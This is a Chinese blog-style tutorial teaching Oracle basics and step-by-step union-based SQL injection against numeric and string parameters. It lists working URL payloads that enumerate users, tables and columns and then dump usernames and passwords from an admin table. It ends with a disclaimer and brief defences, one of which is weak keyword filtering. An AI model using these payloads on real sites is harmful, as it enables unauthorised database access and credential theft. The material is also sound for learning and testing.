前言
在 Web 安全渗透测试中,SQL 注入是最常见、危害最大的漏洞之一,而 Oracle 作为企业级主流数据库,因其语法、特性与 MySQL 差异较大,注入手法也有明显区别。
本文将先带你快速掌握 Oracle 数据库基础用法 (满足日常使用需求),再从零到一完成 Oracle 完整联合注入实战 ,同时覆盖数字型、字符型两种注入类型,一步步获取库名、表名、字段名、数据,同时讲解核心知识点,适合零基础学习。
⚠️ 免责声明:本文仅用于网络安全学习、企业自身漏洞检测,严禁用于非法攻击、数据窃取等违法行为,否则后果自负!
一、Oracle 数据库基础用法(必学核心)
1.1 Oracle 基础概念
- 数据库实例:Oracle 运行的进程 + 内存结构,一个服务器可运行多个实例。
- 表空间:Oracle 存储数据的逻辑单元(相当于 MySQL 的数据库),用户数据、表都存在表空间中。
- 用户 :Oracle 以用户为核心,一个用户对应一个 / 多个表空间,操作数据必须先登录用户。
- 权限 :Oracle 权限分系统权限 (创建表、库)和对象权限(查询、修改表),注入时权限决定能查多少数据。
1.2 Oracle 基础 SQL 语法(与 MySQL 对比)
表格
| 功能 | Oracle 语法 | MySQL 语法 |
|---|---|---|
| 查询当前用户 | SELECT user FROM dual; |
SELECT user(); |
| 查询版本 | SELECT banner FROM v$version WHERE rownum=1; |
SELECT version(); |
| 分页 | rownum(必须嵌套查询) |
LIMIT |
| 联合查询 | UNION/UNION ALL(字段数、类型必须一致) |
UNION/UNION ALL |
| 空值 | NULL(字符串与数字可兼容) |
NULL |
| 系统表 | all_tables、all_tab_columns |
information_schema |
1.3 核心伪表:dual
Oracle 中必须有表名才能执行查询 ,没有表时用 dual 伪表(系统自带,1 行 1 列),是注入的核心工具:
sql
-- 测试查询、计算、函数调用
SELECT 1+1 FROM dual;
SELECT user FROM dual;
SELECT sysdate FROM dual;
1.4 权限说明(注入关键)
- 普通用户:只能查自己的表、当前库信息。
- DBA 权限:最高权限,可查所有库、所有表、所有数据(注入最理想情况)。
- 注入时优先判断当前用户是否为 DBA。
二、Oracle 联合注入核心知识点
2.1 什么是联合注入?
通过 UNION SELECT 拼接自定义查询语句,将恶意查询结果与原查询结果合并返回,从而获取数据库敏感信息。
2.2 注入两大类型(核心区分)
这是本文重点补充内容,数字型 vs 字符型,后台 SQL 写法完全不同,注入 payload 也不同:
-
数字型注入 :参数是数字,后台 SQL 无单引号包裹
sql
SELECT id,title FROM news WHERE id=1 -
字符型注入 :参数是字符串,后台 SQL 用单引号
'包裹参数sql
SELECT id,title FROM news WHERE username='admin'
2.3 Oracle 联合注入必备条件
- 页面存在显位(能显示查询结果的位置,如文章标题、内容)。
- 原 SQL 语句未过滤注入字符 (单引号
'、UNION、SELECT等)。 - 联合查询字段数、数据类型与原查询完全一致。
2.4 Oracle 注入核心系统表
Oracle 没有 MySQL 的 information_schema,所有库表信息都存在系统表中:
all_tables:当前用户可访问的所有表名(owner = 表所属用户,table_name = 表名)。all_tab_columns:当前用户可访问的所有字段名(table_name = 表名,column_name = 字段名)。v$version:数据库版本信息。dba_users:所有数据库用户(DBA 权限可查)。
2.5 Oracle 注释符(必须记住)
- 注释符号:
--(末尾必须加一个空格,否则报错) - 作用:注释掉后台多余的 SQL 语法,保证注入语句正常执行。
三、Oracle 完整联合注入实战(数字型 + 字符型双版本)
3.1 注入环境统一假设
- 目标页面均存在显位,可回显查询结果
- 原查询字段数:3 个
- 注释符统一使用:
--(带空格)
第一部分:数字型注入(无单引号)
3.2 数字型注入原理
后台 SQL:
sql
SELECT id, title, content FROM news WHERE id=1;
参数直接拼接数字,无需闭合单引号,直接构造注入。
3.3 数字型完整注入步骤
步骤 1:判断注入(单引号报错)
plaintext
http://xxx.com/news.php?id=1'
页面返回 Oracle 报错 → 存在注入。
步骤 2:判断字段数
plaintext
http://xxx.com/news.php?id=1 ORDER BY 3--
ORDER BY 3 正常,4 报错 → 3 个字段。
步骤 3:判断显位
plaintext
http://xxx.com/news.php?id=-1 UNION SELECT 1,2,3 FROM dual--
步骤 4:查询库名 / 表名 / 字段 / 数据(通用 payload)
plaintext
# 当前用户
?id=-1 UNION SELECT 1,user,3 FROM dual--
# 库名(表空间)
?id=-1 UNION SELECT 1,default_tablespace,3 FROM user_users--
# 表名
?id=-1 UNION SELECT 1,table_name,3 FROM all_tables WHERE owner='TESTUSER'--
# 字段名
?id=-1 UNION SELECT 1,column_name,3 FROM all_tab_columns WHERE table_name='ADMIN'--
# 数据
?id=-1 UNION SELECT 1,username,password FROM admin--
第二部分:字符型注入(带单引号,本文重点补充)
3.4 字符型注入原理(核心)
字符型注入是 Web 最常见类型,后台 SQL 用单引号包裹参数:
sql
SELECT id,title,content FROM news WHERE username='输入的参数';
✅ 字符型注入核心规则:
- 必须先用单引号
'闭合前面的引号 - 再写注入语句
- 最后用
--注释掉后面多余的单引号
正确 payload 结构:
plaintext
?参数=xxx' 注入语句 --
3.5 字符型完整注入步骤
环境示例
目标 URL:http://xxx.com/news.php?name=test后台 SQL:
sql
SELECT id,title,content FROM news WHERE name='test';
步骤 1:判断字符型注入
加单引号,破坏语法:
plaintext
http://xxx.com/news.php?name=test'
页面返回 Oracle 报错(ORA-00933 等)→ 存在字符型注入。
步骤 2:判断字段数(字符型专用 payload)
plaintext
http://xxx.com/news.php?name=test' ORDER BY 3--
- 解释:
'闭合单引号,ORDER BY 3判断字段,--注释后面的' - 结果:3 正常,4 报错 → 3 个字段。
步骤 3:判断显位(字符型)
plaintext
http://xxx.com/news.php?name=-1' UNION SELECT 1,2,3 FROM dual--
页面显示 2、3 → 显位确认。
步骤 4:获取数据库信息(字符型 payload 合集)
plaintext
# 1. 查询当前用户
?name=-1' UNION SELECT 1,user,3 FROM dual--
# 2. 查询数据库版本
?name=-1' UNION SELECT 1,banner,3 FROM v$version WHERE rownum=1--
# 3. 查询库名(表空间)
?name=-1' UNION SELECT 1,default_tablespace,3 FROM user_users--
# 4. 查询所有表名
?name=-1' UNION SELECT 1,table_name,3 FROM all_tables WHERE owner='TESTUSER'--
# 5. 查询字段名
?name=-1' UNION SELECT 1,column_name,3 FROM all_tab_columns WHERE table_name='ADMIN'--
# 6. 查询数据(脱库)
?name=-1' UNION SELECT 1,username,password FROM admin--
四、数字型 vs 字符型 payload 对比表(一目了然)
表格
| 注入目标 | 数字型 payload | 字符型 payload(核心区别) |
|---|---|---|
| 判断字段数 | ?id=1 ORDER BY 3-- |
?name=1' ORDER BY 3-- |
| 判断显位 | ?id=-1 UNION SELECT 1,2,3 FROM dual-- |
?name=-1' UNION SELECT 1,2,3 FROM dual-- |
| 查询用户 | ?id=-1 UNION SELECT 1,user,3 FROM dual-- |
?name=-1' UNION SELECT 1,user,3 FROM dual-- |
| 查询表名 | ?id=-1 UNION SELECT 1,table_name,3 FROM all_tables-- |
?name=-1' UNION SELECT 1,table_name,3 FROM all_tables-- |
| 查询数据 | ?id=-1 UNION SELECT 1,username,password FROM admin-- |
?name=-1' UNION SELECT 1,username,password FROM admin-- |
字符型注入记忆口诀
单引号闭合,注释符收尾,中间写注入 格式:
参数' 注入语句 --(必须带空格)
五、Oracle 注入完整 Payload 汇总(双类型)
数字型注入 Payload
plaintext
?id=1' -- 报错判断
?id=1 ORDER BY 3--
?id=-1 UNION SELECT 1,2,3 FROM dual--
?id=-1 UNION SELECT 1,user,3 FROM dual--
?id=-1 UNION SELECT 1,default_tablespace,3 FROM user_users--
?id=-1 UNION SELECT 1,table_name,3 FROM all_tables WHERE owner='USER'--
字符型注入 Payload
plaintext
?name=1' -- 报错判断
?name=1' ORDER BY 3--
?name=-1' UNION SELECT 1,2,3 FROM dual--
?name=-1' UNION SELECT 1,user,3 FROM dual--
?name=-1' UNION SELECT 1,default_tablespace,3 FROM user_users--
?name=-1' UNION SELECT 1,table_name,3 FROM all_tables WHERE owner='USER'--
六、Oracle 与 MySQL 注入区别(必记)
- 伪表 :Oracle 必须用
dual,MySQL 不需要。 - 系统表 :Oracle 用
all_tables/all_tab_columns,MySQL 用information_schema。 - 注释符 :Oracle 用
--(必须加空格),MySQL 用--、#、/* */。 - 大小写:Oracle 表名 / 用户名默认大写,MySQL 不区分。
- 字符型闭合 :两者都用
',但 Oracle 注释必须带空格。
七、防御建议
- 预编译语句(PreparedStatement):从根源杜绝 SQL 注入,强制区分代码与数据。
- 过滤危险字符 :过滤
'、UNION、SELECT、OR等注入关键字。 - 最小权限原则:Web 应用连接 Oracle 的用户仅授予必要权限,禁止 DBA 权限。
- 错误信息屏蔽:生产环境关闭数据库报错,避免泄露语法信息。
总结
本文完整补充了 Oracle 字符型注入 ,同时保留数字型注入,形成双类型全覆盖的实战教程:
- 数字型:无单引号,直接构造注入
- 字符型 :必须用
'闭合,--注释,格式:参数' 注入语句 -- - 注入流程完全一致:判断注入→查字段→查显位→获库名→获表名→获字段→脱库
Oracle 注入的核心是语法差异 + 单引号闭合,牢记字符型注入的闭合规则,就能搞定 90% 的 Oracle 注入场景。
再次强调:学习技术请遵守法律法规,共同维护网络安全!
到这里,Oracle 基础语法、数字型 + 字符型联合注入完整流程就全部讲解完毕了,从原理、系统表知识点到一步步实战爆库、爆表、爆字段,全套干货一次性给大家整理齐全。
Oracle 注入和 MySQL 注入语法差异很大,新手很容易踩坑,建议大家收藏本文慢慢复盘学习,真正吃透 Oracle 注入的核心逻辑。
如果这篇教程对你有帮助,麻烦点赞、收藏、关注博主,后续,持续带你从零入门网络安全!